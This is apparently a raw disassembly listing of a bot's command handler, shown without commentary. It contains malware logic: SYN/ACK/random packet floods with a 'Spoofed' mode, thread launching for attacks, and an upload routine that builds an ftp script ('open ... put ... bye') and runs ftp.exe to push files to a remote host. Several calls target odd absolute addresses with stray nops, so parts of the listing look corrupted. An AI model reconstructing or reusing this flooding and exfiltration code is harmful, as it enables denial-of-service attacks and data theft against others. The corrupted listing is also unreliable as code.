		lea	eax, [ebp+var_31C]
		push	10h
		push	eax
		push	esi
		call	dword_4C92AC
		mov	edi, 100h
		push	ebx
		lea	eax, [ebp+var_448C]
		push	edi
		push	eax
		push	esi
		call	dword_4C931C
		lea	eax, [ebp+var_448C]
		push	ebx
		push	eax
		call	sub_41B960
		pop	ecx
		push	eax
		lea	eax, [ebp+var_568C]
		push	eax
		push	esi
		call	dword_4C9354
		push	ebx
		lea	eax, [ebp+var_448C]
		push	edi
		push	eax
		push	esi
		call	dword_4C931C
		push	esi
		call	dword_4C939C
		call	dword_4C925C
		lea	eax, [ebp+var_458C]
		push	eax
		push	offset unk_42AF00


loc_406C33:				; CODE XREF: sub_401AC7+2E4Fj
					; sub_401AC7+65CFj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C006


loc_406C3F:				; CODE XREF: sub_401AC7+241Bj
		add	esp, 0Ch


loc_406C42:				; CODE XREF: sub_401AC7+4483j
					; sub_401AC7+44DDj ...
		cmp	[ebp+var_8], ebx
		jnz	short loc_406C63
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409862
		add	esp, 14h


loc_406C63:				; CODE XREF: sub_401AC7+2955j
					; sub_401AC7+29A8j ...
		mov	esi, [ebp+arg_24]


loc_406C66:				; CODE XREF: sub_401AC7+6848j
					; sub_401AC7+7750j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415CEE
		pop	ecx
		mov	eax, esi
		jmp	loc_401F6F
; ---------------------------------------------------------------------------


loc_406C7A:				; CODE XREF: sub_401AC7+5016j
		push	[ebp+arg_8]
		push	offset aHttpcon	; "httpcon"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406CA4
		push	[ebp+arg_8]
		push	offset aHcon	; "hcon"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40724F


loc_406CA4:				; CODE XREF: sub_401AC7+51C4j
		push	[ebp+esi+var_7C]
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		call	sub_41BEF9
		pop	ecx
		push	eax
		push	edi
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_410A9D
		jmp	loc_409640
; ---------------------------------------------------------------------------


loc_406CD2:				; CODE XREF: sub_401AC7+4FE8j
					; sub_401AC7+4FFFj
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_1358]
		push	esi
		push	eax
		call	sub_41C100
		lea	eax, [ebp+var_1358]
		push	eax
		push	offset aSyn	; "syn"
		call	sub_41C7E0
		add	esp, 14h
		test	eax, eax
		jz	short loc_406D35
		lea	eax, [ebp+var_1358]
		push	eax
		push	offset aAck	; "ack"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406D35
		lea	eax, [ebp+var_1358]
		push	eax
		push	offset aRandom_0 ; "random"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406D35
		push	offset unk_42AEB8
		jmp	loc_406E6F
; ---------------------------------------------------------------------------


loc_406D35:				; CODE XREF: sub_401AC7+5234j
					; sub_401AC7+524Bj ...
		push	[ebp+arg_10]
		call	sub_41BEF9
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_1250],	eax
		jle	loc_406E6A
		push	edi
		lea	eax, [ebp+var_1358]
		push	esi
		push	eax
		call	sub_41C100
		push	[ebp+arg_18]
		lea	eax, [ebp+var_13D8]
		push	esi
		push	eax
		call	sub_41C100
		push	[ebp+arg_0]
		call	sub_41BEF9
		mov	[ebp+var_1254],	eax
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_124C],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13DC],	eax
		lea	eax, [ebp+var_12D8]
		push	esi
		push	eax
		call	sub_41C100
		mov	eax, [ebp+var_4]
		add	esp, 28h
		cmp	[ebp+var_124C],	ebx
		mov	[ebp+var_1248],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1244],	eax
		mov	eax, offset aSpoofed ; "Spoofed"
		jnz	short loc_406DCC
		mov	eax, offset aNormal ; "Normal"


loc_406DCC:				; CODE XREF: sub_401AC7+52FEj
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		push	edi
		push	eax
		push	offset unk_42AE74
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C100
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	14h
		push	eax
		call	sub_40B3AD
		add	esp, 2Ch
		mov	[ebp+var_1258],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_13DC]
		push	ebx
		push	eax
		push	offset dword_414974
		push	ebx
		push	ebx
		call	near ptr 2680000h
		nop
		mov	ecx, [ebp+var_1258]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C254[ecx], eax
		jz	short loc_406E4A


loc_406E34:				; CODE XREF: sub_401AC7+5381j
		cmp	[ebp+var_1240],	ebx
		jnz	loc_4081DE
		push	32h
		call	near ptr 2670EE1h
		nop
		jmp	short loc_406E34
; ---------------------------------------------------------------------------


loc_406E4A:				; CODE XREF: sub_401AC7+536Bj
		nop
		call	near ptr 26807F9h
		push	eax
		push	offset unk_42AE3C


loc_406E56:				; CODE XREF: sub_401AC7+20E5j
					; sub_401AC7+2EA4j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C006


loc_406E62:				; CODE XREF: sub_401AC7+54DDj
		add	esp, 0Ch
		jmp	loc_4081DE
; ---------------------------------------------------------------------------


loc_406E6A:				; CODE XREF: sub_401AC7+527Fj
		push	offset unk_42AE04


loc_406E6F:				; CODE XREF: sub_401AC7+1FAEj
					; sub_401AC7+1FC4j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C006
		pop	ecx
		pop	ecx
		jmp	loc_4081DE
; ---------------------------------------------------------------------------


loc_406E82:				; CODE XREF: sub_401AC7+4F5Cj
					; sub_401AC7+4F73j ...
		cmp	dword_4C93F4, ebx
		jnz	loc_406F8E
		mov	eax, [ebp+var_8]
		push	7Fh
		mov	[ebp+var_FF8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_FFC], eax
		lea	eax, [ebp+var_1090]
		push	edi
		push	eax
		call	sub_41BD70
		push	[ebp+arg_18]
		call	sub_41BEF9
		push	[ebp+arg_0]
		mov	[ebp+var_1010],	eax
		call	sub_41BEF9
		push	[ebp+arg_10]
		mov	[ebp+var_100C],	eax
		call	sub_41BEF9
		push	7Fh
		mov	[ebp+var_1008],	eax
		push	[ebp+var_88]
		lea	eax, [ebp+var_1110]
		push	eax
		call	sub_41BD70
		push	[ebp+var_1008]
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1114],	eax
		lea	eax, [ebp+var_1090]
		push	[ebp+var_100C]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_1010]
		push	offset unk_42ADBC
		push	eax
		call	sub_41C006
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	16h
		push	eax
		call	sub_40B3AD
		add	esp, 48h
		mov	[ebp+var_1000],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1114]
		push	ebx
		push	eax
		push	offset byte_413DCB
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_1000]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C254[ecx], eax
		jz	short loc_406F7D


loc_406F67:				; CODE XREF: sub_401AC7+54B4j
		cmp	[ebp+var_FF4], ebx
		jnz	loc_4081DE
		push	32h
		nop
		call	near ptr 2670EE1h
		jmp	short loc_406F67
; ---------------------------------------------------------------------------


loc_406F7D:				; CODE XREF: sub_401AC7+549Ej
		nop
		call	near ptr 26807F9h
		push	eax
		push	offset unk_42AD84
		jmp	loc_406E56
; ---------------------------------------------------------------------------


loc_406F8E:				; CODE XREF: sub_401AC7+53C1j
		push	1FFh
		lea	eax, [ebp+var_2C4]
		push	offset aIcmp_dllNotAva ; "ICMP.dll not available"
		push	eax
		call	sub_41BD70
		jmp	loc_406E62
; ---------------------------------------------------------------------------


loc_406FA9:				; CODE XREF: sub_401AC7+4F2Ej
					; sub_401AC7+4F45j
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2C4]
		push	edi
		push	[ebp+arg_0]
		push	offset unk_42AD30
		push	eax
		call	sub_41C006
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409862
		push	[ebp+arg_0]
		call	sub_41B960
		push	[ebp+arg_18]
		mov	edi, eax
		call	sub_41B960
		push	[ebp+arg_20]
		add	edi, eax
		call	sub_41B960
		push	[ebp+arg_8]
		add	edi, eax
		call	sub_41B960
		add	eax, [ebp+var_C]
		push	[ebp+arg_10]
		lea	eax, [eax+edi+7]
		push	eax
		call	sub_41C080
		add	esp, 40h
		mov	[ebp+arg_C], eax
		push	[ebp+arg_0]
		call	sub_41BEF9
		mov	edi, [ebp+arg_20]
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_1C], ebx
		jle	short loc_4070A3


loc_40702C:				; CODE XREF: sub_401AC7+5589j
		push	[ebp+arg_C]
		push	[ebp+arg_18]
		push	edi
		call	sub_418AA2
		add	esp, 0Ch
		cmp	eax, 1
		mov	[ebp+arg_20], eax
		jz	short loc_407054
		cmp	eax, ebx
		jnz	short loc_407073
		inc	[ebp+arg_1C]
		mov	eax, [ebp+arg_1C]
		cmp	eax, [ebp+arg_14]
		jl	short loc_40702C
		jmp	short loc_4070AC
; ---------------------------------------------------------------------------


loc_407054:				; CODE XREF: sub_401AC7+557Aj
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42ACF8


loc_40705D:				; CODE XREF: sub_401AC7+55EEj
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409862
		add	esp, 14h
		jmp	loc_40724F
; ---------------------------------------------------------------------------


loc_407073:				; CODE XREF: sub_401AC7+557Ej
		push	[ebp+arg_20]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42ACC4
		push	eax
		call	sub_41C006
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409862
		add	esp, 20h


loc_4070A3:				; CODE XREF: sub_401AC7+5563j
		cmp	[ebp+arg_20], ebx
		jnz	loc_40724F


loc_4070AC:				; CODE XREF: sub_401AC7+558Bj
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42AC90
		jmp	short loc_40705D
; ---------------------------------------------------------------------------


loc_4070B7:				; CODE XREF: sub_401AC7+4EE9j
					; sub_401AC7+4F00j ...
		mov	eax, [ebp+var_8]
		push	7Fh
		mov	[ebp+var_C68], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_C6C], eax
		lea	eax, [ebp+var_D00]
		push	edi
		push	eax
		call	sub_41BD70
		push	[ebp+arg_18]
		call	sub_41BEF9
		push	[ebp+arg_0]
		mov	[ebp+var_C80], eax
		call	sub_41BEF9
		push	[ebp+arg_10]
		mov	[ebp+var_C7C], eax
		call	sub_41BEF9
		mov	esi, [ebp+esi+var_7C]
		add	esp, 18h
		cmp	esi, ebx
		mov	[ebp+var_C78], eax
		jz	short loc_40711C
		push	esi
		call	sub_41BEF9
		pop	ecx
		mov	[ebp+var_C74], eax
		jmp	short loc_407122
; ---------------------------------------------------------------------------


loc_40711C:				; CODE XREF: sub_401AC7+5644j
		mov	[ebp+var_C74], ebx


loc_407122:				; CODE XREF: sub_401AC7+5653j
		push	7Fh
		lea	eax, [ebp+var_D80]
		push	[ebp+var_88]
		push	eax
		call	sub_41BD70
		push	[ebp+var_C78]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_D00]
		mov	[ebp+var_D84], esi
		push	[ebp+var_C7C]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_C80]
		push	offset unk_42AC48
		push	eax
		call	sub_41C006
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	17h
		push	eax
		call	sub_40B3AD
		add	esp, 30h
		mov	[ebp+var_C70], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_D84]
		push	ebx
		push	eax
		push	offset byte_413F57
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_C70]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C254[ecx], eax
		jz	short loc_4071C2


loc_4071B0:				; CODE XREF: sub_401AC7+56F9j
		cmp	[ebp+var_C64], ebx
		jnz	short loc_4071DD
		push	32h
		nop
		call	near ptr 2670EE1h
		jmp	short loc_4071B0
; ---------------------------------------------------------------------------


loc_4071C2:				; CODE XREF: sub_401AC7+56E7j
		nop
		call	near ptr 26807F9h
		push	eax
		push	offset unk_42AC10


loc_4071CE:				; CODE XREF: sub_401AC7+4D54j
					; sub_401AC7+621Ej ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C006
		add	esp, 0Ch


loc_4071DD:				; CODE XREF: sub_401AC7+4D38j
					; sub_401AC7+56EFj ...
		cmp	[ebp+var_8], ebx
		jnz	loc_40830C
		push	ebx
		push	[ebp+var_4]


loc_4071EA:				; CODE XREF: sub_401AC7+2271j
		lea	eax, [ebp+var_2C4]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_4081FB
; ---------------------------------------------------------------------------


loc_4071FD:				; CODE XREF: sub_401AC7+4EBBj
					; sub_401AC7+4ED2j
		push	0Bh
		call	sub_40B5F5
		push	[ebp+arg_18]
		mov	[ebp+arg_1C], eax
		call	sub_41BEF9
		add	eax, [ebp+arg_1C]
		pop	ecx
		pop	ecx
		cmp	eax, 320h
		jle	loc_4073C5
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42ABD4
		push	eax
		call	sub_41C006
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409862
		add	esp, 20h


loc_40724F:				; CODE XREF: sub_401AC7+51D7j
					; sub_401AC7+55A7j ...
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	loc_401F6C
		push	[ebp+arg_8]
		push	offset aUpload	; "upload"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409643
		push	4
		push	esi
		call	sub_416C63
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40729A
		push	esi
		push	offset unk_42ABAC


loc_407286:				; CODE XREF: sub_401AC7+7985j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C006
		add	esp, 0Ch
		jmp	loc_403F81
; ---------------------------------------------------------------------------


loc_40729A:				; CODE XREF: sub_401AC7+57B7j
		call	near ptr 2690861h
		nop
		push	eax
		call	sub_41C058
		pop	ecx
		call	sub_41C062
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41C062
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41C062
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp+var_50FC]
		push	edx
		push	eax
		lea	eax, [ebp+var_2E5C]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2E5C]
		push	offset aAb	; "ab"
		push	eax
		call	sub_41BC88
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+arg_24], eax
		jz	loc_401F6C
		push	esi
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		push	edi
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	eax
		call	sub_41C56F
		push	[ebp+arg_24]
		call	sub_41B9DB
		lea	eax, [ebp+var_2E5C]
		push	eax
		lea	eax, [ebp+var_4CF8]
		push	offset aSS_1	; "-s:%s"
		push	eax
		call	sub_41C006
		add	esp, 2Ch
		lea	eax, [ebp+var_4CF8]
		push	ebx
		push	ebx
		push	eax
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4C9270
		test	eax, eax
		push	edi
		push	esi
		jz	short loc_407364
		push	offset unk_42AB3C
		jmp	short loc_407369
; ---------------------------------------------------------------------------


loc_407364:				; CODE XREF: sub_401AC7+5894j
		push	offset unk_42AB0C


loc_407369:				; CODE XREF: sub_401AC7+589Bj
		call	sub_41C006
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_407392
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409862
		add	esp, 14h


loc_407392:				; CODE XREF: sub_401AC7+58ADj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415CEE


loc_40739E:				; CODE XREF: sub_401AC7+58FCj
		lea	eax, [ebp+var_2E5C]
		push	4
		push	eax
		call	sub_416C63
		add	esp, 0Ch
		test	eax, eax
		jz	loc_401F6C
		lea	eax, [ebp+var_2E5C]
		push	eax
		call	sub_41C545
		jmp	short loc_40739E
; ---------------------------------------------------------------------------


loc_4073C5:				; CODE XREF: sub_401AC7+5752j
		push	edi
		call	sub_41BEF9
		push	[ebp+arg_18]
		mov	[ebp+var_370], eax
		call	sub_41BEF9
		push	[ebp+arg_0]
		mov	[ebp+var_358], eax
		call	sub_41BEF9
		add	esp, 0Ch
		cmp	eax, 5
		mov	[ebp+var_36C], eax
		jnb	short loc_4073FE
		push	5
		pop	eax
		mov	[ebp+var_36C], eax


loc_4073FE:				; CODE XREF: sub_401AC7+592Cj
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_40740B
		mov	[ebp+var_36C], ecx


loc_40740B:				; CODE XREF: sub_401AC7+593Cj
		push	[ebp+arg_10]
		call	sub_41BEF9
		cmp	eax, 320h
		pop	ecx
		mov	[ebp+var_368], eax
		jbe	short loc_40742B
		mov	[ebp+var_368], 320h


loc_40742B:				; CODE XREF: sub_401AC7+5958j
		or	[ebp+var_354], 0FFFFFFFFh
		cmp	dword_431808, ebx
		mov	[ebp+arg_1C], ebx
		jz	short loc_407481
		mov	[ebp+arg_24], offset dword_431808


loc_407444:				; CODE XREF: sub_401AC7+599Cj
		mov	eax, [ebp+arg_24]
		push	edi
		add	eax, 0FFFFFFD8h
		push	eax
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_407467
		add	[ebp+arg_24], 40h
		inc	[ebp+arg_1C]
		mov	eax, [ebp+arg_24]
		cmp	[eax], ebx
		jnz	short loc_407444
		jmp	short loc_407481
; ---------------------------------------------------------------------------


loc_407467:				; CODE XREF: sub_401AC7+598Ej
		mov	eax, [ebp+arg_1C]
		mov	ecx, eax
		mov	[ebp+var_354], eax
		shl	ecx, 6
		mov	ecx, dword_431808[ecx]
		mov	[ebp+var_370], ecx


loc_407481:				; CODE XREF: sub_401AC7+5974j
					; sub_401AC7+599Ej
		cmp	[ebp+var_370], ebx
		jnz	short loc_407493
		push	offset unk_42AAD8
		jmp	loc_406E6F
; ---------------------------------------------------------------------------


loc_407493:				; CODE XREF: sub_401AC7+59C0j
		mov	edi, [ebp+esi+var_7C]
		cmp	edi, ebx
		mov	[ebp+arg_0], edi
		jz	short loc_4074CE
		cmp	byte ptr [edi],	23h
		jz	short loc_4074CE
		push	edi
		lea	eax, [ebp+var_484]
		push	10h
		push	eax
		call	sub_41C100
		push	78h
		push	edi
		call	sub_41C720
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_344], eax
		jmp	loc_4075A8
; ---------------------------------------------------------------------------


loc_4074CE:				; CODE XREF: sub_401AC7+59D5j
					; sub_401AC7+59DAj
		cmp	[ebp+var_8FF], bl
		jnz	short loc_4074F0
		cmp	[ebp+var_8FE], bl
		jnz	short loc_4074F0
		cmp	[ebp+var_8EE], bl
		jnz	short loc_4074F0
		push	offset unk_42AAA4
		jmp	loc_406E6F
; ---------------------------------------------------------------------------


loc_4074F0:				; CODE XREF: sub_401AC7+5A0Dj
					; sub_401AC7+5A15j ...
		push	10h
		lea	eax, [ebp+var_2D0]
		pop	edi
		push	eax
		lea	eax, [ebp+var_2F8]
		push	eax
		mov	[ebp+var_2D0], edi
		push	[ebp+arg_4]
		call	dword_4C92A8
		mov	al, [ebp+var_8FF]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_2F4], eax
		push	[ebp+var_2F4]
		call	dword_4C9390
		push	eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_41BD70
		add	esp, 0Ch
		cmp	[ebp+var_8EE], bl
		jz	short loc_4075A2
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_41C5B0
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_407596


loc_407574:				; CODE XREF: sub_401AC7+5ACDj
		cmp	eax, ebx
		jz	short loc_407596
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_484]
		push	30h
		push	eax
		call	sub_41C5B0
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_407574


loc_407596:				; CODE XREF: sub_401AC7+5AABj
					; sub_401AC7+5AAFj
		mov	[ebp+var_344], 1
		jmp	short loc_4075A8
; ---------------------------------------------------------------------------


loc_4075A2:				; CODE XREF: sub_401AC7+5A85j
		mov	[ebp+var_344], ebx


loc_4075A8:				; CODE XREF: sub_401AC7+5A02j
					; sub_401AC7+5AD9j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	[ebp+var_374], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_34C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_348], eax
		mov	edi, 80h
		lea	eax, [ebp+var_474]
		push	edi
		push	eax
		call	sub_41C100
		mov	esi, [ebp+esi+var_78]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_4075F9


loc_4075E6:				; CODE XREF: sub_401AC7+5B55j
		push	esi


loc_4075E7:				; CODE XREF: sub_401AC7+5B3Fj
		lea	eax, [ebp+var_3F4]
		push	edi
		push	eax
		call	sub_41C100
		add	esp, 0Ch
		jmp	short loc_407624
; ---------------------------------------------------------------------------


loc_4075F9:				; CODE XREF: sub_401AC7+5B1Dj
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_407608
		cmp	byte ptr [eax],	23h
		jnz	short loc_407608
		push	eax
		jmp	short loc_4075E7
; ---------------------------------------------------------------------------


loc_407608:				; CODE XREF: sub_401AC7+5B37j
					; sub_401AC7+5B3Cj
		mov	esi, offset aF	; "#f"
		push	offset byte_43B4B8
		push	esi
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4075E6
		mov	[ebp+var_3F4], bl


loc_407624:				; CODE XREF: sub_401AC7+5B30j
		cmp	[ebp+var_344], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_407636
		mov	eax, offset aSequential	; "Sequential"


loc_407636:				; CODE XREF: sub_401AC7+5B68j
		push	[ebp+var_358]
		lea	ecx, [ebp+var_484]
		push	[ebp+var_368]
		push	[ebp+var_36C]
		push	[ebp+var_370]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42AA3C
		push	eax
		call	sub_41C006
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B3AD
		add	esp, 2Ch
		mov	[ebp+var_364], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_484]
		push	ebx
		push	eax
		push	offset loc_40C5E7
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_364]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C254[ecx], eax
		jz	short loc_4076C4


loc_4076AE:				; CODE XREF: sub_401AC7+5BFBj
		cmp	[ebp+var_340], ebx
		jnz	loc_4081DE
		push	32h
		nop
		call	near ptr 2670EE1h
		jmp	short loc_4076AE
; ---------------------------------------------------------------------------


loc_4076C4:				; CODE XREF: sub_401AC7+5BE5j
		call	near ptr 26807F9h
		nop
		push	eax
		push	offset unk_42AA04
		jmp	loc_406E56
; ---------------------------------------------------------------------------


loc_4076D5:				; CODE XREF: sub_401AC7+4E8Dj
					; sub_401AC7+4EA4j
		push	edi
		call	sub_40A8E4
		push	[ebp+arg_18]
		mov	[ebp+var_4E0], eax
		call	sub_41BEF9
		push	[ebp+arg_0]
		mov	[ebp+var_4F0], eax
		call	sub_41BEF9
		push	[ebp+arg_10]
		mov	[ebp+var_4EC], eax
		call	sub_41BEF9
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_4E8], eax
		lea	eax, [ebp+var_570]
		mov	[ebp+var_574], esi
		push	eax
		call	sub_41BD70
		add	esp, 1Ch
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_4D8], edi
		push	[ebp+var_4EC]
		mov	[ebp+var_4D4], eax
		push	[ebp+var_4F0]
		push	[ebp+var_4E8]
		push	[ebp+var_4E0]
		call	dword_4C9390
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A9B4
		push	eax
		call	sub_41C006
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B3AD
		add	esp, 24h
		mov	[ebp+var_4E4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_574]
		push	ebx
		push	eax
		push	offset dword_40CA04
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_4E4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C254[ecx], eax
		jz	short loc_4077CA


loc_4077B4:				; CODE XREF: sub_401AC7+5D01j
		cmp	[ebp+var_4D0], ebx
		jnz	loc_403D2D
		push	32h
		nop
		call	near ptr 2670EE1h
		jmp	short loc_4077B4
; ---------------------------------------------------------------------------


loc_4077CA:				; CODE XREF: sub_401AC7+5CEBj
		nop
		call	near ptr 26807F9h
		push	eax
		push	offset unk_42A978
		jmp	loc_403D1E
; ---------------------------------------------------------------------------


loc_4077DB:				; CODE XREF: sub_401AC7+4E50j
					; sub_401AC7+4E67j
		push	edi
		call	sub_41BEF9
		imul	eax, 234h
		pop	ecx
		cmp	byte_43C258[eax], bl
		jz	loc_409643
		cmp	[ebp+var_C], ebx
		jz	loc_409643
		push	[ebp+arg_18]
		call	sub_41B960
		push	edi
		mov	esi, eax
		call	sub_41B960
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_41B960
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41C080
		mov	esi, eax
		lea	eax, [ebp+var_2C4]
		push	esi
		push	offset dword_42A96C
		push	eax
		call	sub_41C006
		add	esp, 20h
		cmp	esi, ebx
		jz	loc_409643
		push	edi
		call	sub_41BEF9
		test	eax, eax
		pop	ecx
		jle	loc_409643
		push	edi
		call	sub_41BEF9
		cmp	eax, 400h
		pop	ecx
		jge	loc_409643
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		push	[ebp+arg_18]
		push	edi
		call	sub_41BEF9
		imul	eax, 234h
		pop	ecx
		push	dword_43C24C[eax]
		call	sub_409862
		push	edi
		call	sub_41BEF9
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43C040[eax], 73h
		jnz	loc_409643
		push	esi
		push	edi
		call	sub_41BEF9
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43C258
		push	eax
		push	[ebp+arg_18]
		push	offset aSSS_2	; "[%s]	* %s %s"


loc_4078C3:				; CODE XREF: sub_401AC7+5EF6j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C006
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409862
		jmp	loc_404068
; ---------------------------------------------------------------------------


loc_4078ED:				; CODE XREF: sub_401AC7+4E22j
					; sub_401AC7+4E39j
		push	edi
		call	sub_41BEF9
		imul	eax, 234h
		pop	ecx
		cmp	byte_43C258[eax], bl
		jz	loc_409643
		cmp	[ebp+var_C], ebx
		jz	loc_409643
		push	[ebp+arg_18]
		call	sub_41B960
		push	edi
		mov	esi, eax
		call	sub_41B960
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_41B960
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41C080
		mov	esi, eax
		add	esp, 14h
		cmp	esi, ebx
		jz	loc_409643
		push	edi
		call	sub_41BEF9
		test	eax, eax
		pop	ecx
		jle	loc_409643
		push	edi
		call	sub_41BEF9
		cmp	eax, 400h
		pop	ecx
		jge	loc_409643
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_18]
		push	edi
		call	sub_41BEF9
